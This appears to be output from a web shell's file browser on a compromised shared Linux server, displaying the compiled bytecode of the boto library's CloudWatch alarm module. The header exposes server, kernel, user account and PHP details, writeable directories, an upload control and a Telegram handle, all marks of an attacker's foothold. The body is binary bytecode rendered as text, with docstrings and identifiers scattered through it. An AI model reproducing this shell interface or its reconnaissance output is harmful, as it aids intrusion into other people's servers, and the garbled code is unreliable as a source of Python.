https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/ec2/cloudwatch/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/ec2/cloudwatch/__pycache__/alarm.cpython-310.pyc
o

ckF[�/�@spddlmZddlmZddlmZddlmZddlmZGdd�de�Z	Gdd	�d	e
�ZGd
d�de
�ZdS)
�)�datetime)�ListElement)�	Dimension)�json)�sixc@s&eZdZddd�Zdd�Zdd�ZdS)	�MetricAlarmsNcCst�|�||_dS)z0
        Parses a list of MetricAlarms.
        N)�list�__init__�
connection��selfr
�r
�;/usr/lib/python3/dist-packages/boto/ec2/cloudwatch/alarm.pyr	s

zMetricAlarms.__init__cCs"|dkrt|�}|�|�|SdS)N�member)�MetricAlarm�append)r�name�attrsr
�metric_alarmr
r
r�startElement&s

�zMetricAlarms.startElementcC�dS�Nr
�rr�valuer
r
r
r�
endElement,�zMetricAlarms.endElementr)�__name__�
__module__�__qualname__r	rrr
r
r
rrs
rc@s�eZdZdZdZdZddddd�Zed	d
�e�	e�D��Z
						d'd
d�Zdd�Zdd�Z
dd�Zd(dd�Zdd�Zdd�Zdd�Z		d)dd�Zd(dd �Zd(d!d"�Zd(d#d$�Zd%d&�ZdS)*r�OK�ALARM�INSUFFICIENT_DATA�GreaterThanOrEqualToThreshold�GreaterThanThreshold�LessThanThreshold�LessThanOrEqualToThreshold)z>=�>�<z<=ccs�|]	\}}||fVqdSrr
)�.0�k�vr
r
r�	<genexpr><s�zMetricAlarm.<genexpr>N�cCs�||_||_||_||_||_|durt|�|_nd|_|j�|�|_	|dur-t
|�|_nd|_|	dur:t
|	�|_nd|_d|_
d|_d|_||_||_d|_d|_|
|_|
|_||_||_dS)a�

        Creates a new Alarm.

        :type name: str
        :param name: Name of alarm.

        :type metric: str
        :param metric: Name of alarm's associated metric.

        :type namespace: str
        :param namespace: The namespace for the alarm's metric.

        :type statistic: str
        :param statistic: The statistic to apply to the alarm's associated
                          metric.
                          Valid values: SampleCount|Average|Sum|Minimum|Maximum

        :type comparison: str
        :param comparison: Comparison used to compare statistic with threshold.
                           Valid values: >= | > | < | <=

        :type threshold: float
        :param threshold: The value against which the specified statistic
                          is compared.

        :type period: int
        :param period: The period in seconds over which the specified
                       statistic is applied.

        :type evaluation_periods: int
        :param evaluation_periods: The number of periods over which data is
                                  compared to the specified threshold.

        :type unit: str
        :param unit: Allowed Values are:
                     Seconds|Microseconds|Milliseconds,
                     Bytes|Kilobytes|Megabytes|Gigabytes|Terabytes,
                     Bits|Kilobits|Megabits|Gigabits|Terabits,
                     Percent|Count|
                     Bytes/Second|Kilobytes/Second|Megabytes/Second|
                     Gigabytes/Second|Terabytes/Second,
                     Bits/Second|Kilobits/Second|Megabits/Second,
                     Gigabits/Second|Terabits/Second|Count/Second|None

        :type description: str
        :param description: Description of MetricAlarm

        :type dimensions: dict
        :param dimensions: A dictionary of dimension key/values where
                           the key is the dimension name and the value
                           is either a scalar value or an iterator
                           of values to be associated with that
                           dimension.
                           Example: {
                               'InstanceId': ['i-0123456', 'i-0123457'],
                               'LoadBalancerName': 'test-lb'
                           }

        :type alarm_actions: list of strs
        :param alarm_actions: A list of the ARNs of the actions to take in
                              ALARM state

        :type insufficient_data_actions: list of strs
        :param insufficient_data_actions: A list of the ARNs of the actions to
                                          take in INSUFFICIENT_DATA state

        :type ok_actions: list of strs
        :param ok_actions: A list of the ARNs of the actions to take in OK state
        N)rr
�metric�	namespace�	statistic�float�	threshold�_cmp_map�get�
comparison�int�period�evaluation_periods�actions_enabled�	alarm_arn�last_updated�description�
dimensions�state_reason�state_value�unit�
alarm_actions�insufficient_data_actions�
ok_actions)rr
rr-r.r/r4r1r6r7r?r;r<r@rArBr
r
rr	>s4K
zMetricAlarm.__init__cCsd|j|j|j|j|jfS)NzMetricAlarm:%s[%s(%s) %s %s])rr-r/r4r1�rr
r
r�__repr__�s

�zMetricAlarm.__repr__cCs^|dkrt�|_|jS|dkrt�|_|jS|dkr!t�|_|jS|dkr,t�|_|jS	dS)N�AlarmActions�InsufficientDataActions�	OKActions�
Dimensions)rr@rArBrr<�rrrr
r
r
rr�szMetricAlarm.startElementcCs6|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkr<t|d|j|�dS|dkrGt|�|_dS|d	krP||_	dS|d
krY||_
dS|dkrdt|�|_dS|dkrm||_dS|d
krv||_
dS|dkr||_dS|dkr�t|�|_dS|dkr�||_dSt|||�dS)N�ActionsEnabled�AlarmArn�"AlarmConfigurationUpdatedTimestamp�AlarmDescription�	AlarmName�ComparisonOperatorr4�EvaluationPeriods�
MetricName�	Namespace�Period�StateReason�
StateValue�	Statistic�	Threshold�Unit)r8r9r:r;r�setattr�_rev_cmp_mapr5r7r-r.r6r=r>r/r0r1r?rr
r
rr�s>










zMetricAlarm.endElementcCs|j�|j|||�S)a$ Temporarily sets the state of an alarm.

        :type value: str
        :param value: OK | ALARM | INSUFFICIENT_DATA

        :type reason: str
        :param reason: Reason alarm set (human readable).

        :type data: str
        :param data: Reason data (will be jsonified).
        )r
�set_alarm_stater)rr�reason�datar
r
r�	set_state�szMetricAlarm.set_statecCs|j�|�Sr)r
�update_alarmrCr
r
r�update�szMetricAlarm.updatecC�|j�|jg�Sr)r
�enable_alarm_actionsrrCr
r
r�enable_actions��zMetricAlarm.enable_actionscCrar)r
�disable_alarm_actionsrrCr
r
r�disable_actions�rdzMetricAlarm.disable_actionscCs|j�|j|||||�Sr)r
�describe_alarm_historyr)r�
start_date�end_date�max_records�history_item_type�
next_tokenr
r
r�describe_history�s
�zMetricAlarm.describe_historycC�|sdSd|_|j�|�dS)a&
        Adds an alarm action, represented as an SNS topic, to this alarm.
        What do do when alarm is triggered.

        :type action_arn: str
        :param action_arn: SNS topics to which notification should be
                           sent if the alarm goes to state ALARM.
        N�true)r8r@r�r�
action_arnr
r
r�add_alarm_action��	zMetricAlarm.add_alarm_actioncCrn)aR
        Adds an insufficient_data action, represented as an SNS topic, to
        this alarm. What to do when the insufficient_data state is reached.

        :type action_arn: str
        :param action_arn: SNS topics to which notification should be
                           sent if the alarm goes to state INSUFFICIENT_DATA.
        Nro)r8rArrpr
r
r�add_insufficient_data_actionrsz(MetricAlarm.add_insufficient_data_actioncCrn)a4
        Adds an ok action, represented as an SNS topic, to this alarm. What
        to do when the ok state is reached.

        :type action_arn: str
        :param action_arn: SNS topics to which notification should be
                           sent if the alarm goes to state INSUFFICIENT_DATA.
        Nro)r8rBrrpr
r
r�
add_ok_actionrszMetricAlarm.add_ok_actioncCs|j�|jg�dSr)r
�
delete_alarmsrrCr
r
r�delete'�zMetricAlarm.delete)NNNNNNNNNNr,NNNNr)NNNNN)rrrrr r!r2�dictr�	iteritemsrZr	rDrrr^r`rcrfrmrrrtrurwr
r
r
rr0s>�
�i
"
�


rc@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)�AlarmHistoryItemNcCs
||_dSr)r
rr
r
rr	,s
zAlarmHistoryItem.__init__cCsd|j|j|jfS)NzAlarmHistory:%s[%s at %s])r�summary�	timestamprCr
r
rrD/rxzAlarmHistoryItem.__repr__cCrrr
rIr
r
rr2rzAlarmHistoryItem.startElementcCs�|dkr	||_dS|dkrt�|�|_dS|dkr||_dS|dkr'||_dS|dkrGz
t�|d�|_WdSt	yFt�|d�|_YdSwdS)NrN�HistoryData�HistoryItemType�HistorySummary�	Timestampz%Y-%m-%dT%H:%M:%S.%fZz%Y-%m-%dT%H:%M:%SZ)
rr�loadsr]�tem_typer|r�strptimer}�
ValueErrorrr
r
rr5s"


���zAlarmHistoryItem.endElementr)rrrr	rDrrr
r
r
rr{+s

r{N)
r�boto.ec2.cloudwatch.listelementr�boto.ec2.cloudwatch.dimensionr�boto.compatrrrr�objectrr{r
r
r
r�<module>s|

https://t.me/RX1948 - 2025